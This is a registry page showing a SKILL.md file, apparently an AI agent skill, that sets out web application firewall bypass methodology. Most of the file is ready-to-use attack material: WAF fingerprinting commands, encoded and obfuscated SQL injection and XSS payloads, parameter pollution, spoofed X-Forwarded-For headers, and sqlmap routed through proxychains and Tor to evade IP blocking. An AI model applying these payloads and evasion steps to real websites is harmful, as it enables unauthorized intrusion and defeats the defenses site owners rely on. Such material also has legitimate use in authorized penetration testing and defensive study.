agentleFS
sunilgentyalasunilgentyala/OmniRed/skills/web/waf-bypass/SKILL.md

waf-bypass

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Web Application Firewall bypass methodology applicable to all injection types. Covers encoding, obfuscation, chunked encoding, HTTP header manipulation, and protocol-level WAF bypass.

2 other projects use a version of this.

Adopted by

Most recently taken up by

The file

Files
SKILL.md

WAF Bypass Techniques

Phase 1 — WAF Identification

wafw00f https://target.com
nmap --script http-waf-detect,http-waf-fingerprint target.com

Common WAFs: Cloudflare, AWS WAF, ModSecurity, Imperva, Akamai, Sucuri, F5 ASM.

Encoding Bypasses

URL encoding:          SELECT → %53%45%4c%45%43%54
Double URL encoding:   SELECT → %2553%2545%254c%2545%2543%2554
Unicode encoding:      SELECT → SELECT
HTML entities:         < → &lt; or &#x3C;
Base64 (in JSON):      inject base64 and decode server-side

SQL Injection WAF Bypass

-- Comment insertion
SE/**/LECT
UN/**/ION

-- Case variation
sElEcT uNiOn

-- Inline version comments (MySQL)
/*!UNION*/ /*!SELECT*/

-- Whitespace alternatives
%09 (tab), %0a (newline), %0d (carriage return), %0b, %0c

-- Keyword alternatives
AND → &&
OR → ||
= → LIKE, REGEXP, IN

-- Encoding + padding
1/**/UNION/**/SELECT/**/NULL,NULL,NULL--+

XSS WAF Bypass

<!-- Tag alternatives -->
<sVg OnLoAd=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Event handler alternatives when onclick blocked -->
onfocus autofocus
onanimationstart + CSS animation
onpointerdown

<!-- JavaScript alternatives when "javascript:" blocked -->
data:text/html,<script>alert(1)</script>
vbscript:alert(1)         (IE only)

<!-- Encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

HTTP-Level Bypasses

# Chunked Transfer-Encoding (splits payload across chunks)
# Use Burp plugin "chunked-coding-converter"

# HTTP Parameter Pollution
?id=1&id=1 UNION SELECT 1,2,3--

# Large body padding (push payload past WAF inspection limit)
# Add thousands of harmless parameters before the payload

# Case-insensitive header manipulation
X-Forwarded-For: 127.0.0.1   (some WAFs trust XFF)
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

IP Reputation Bypass

# Route through residential proxies / rotating exit nodes
proxychains4 sqlmap -u "http://target.com/?id=1" --dbs

# Use Tor exit nodes that aren't blacklisted
# Cloud provider IPs are often less suspicious than VPS/datacenter

Tools

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.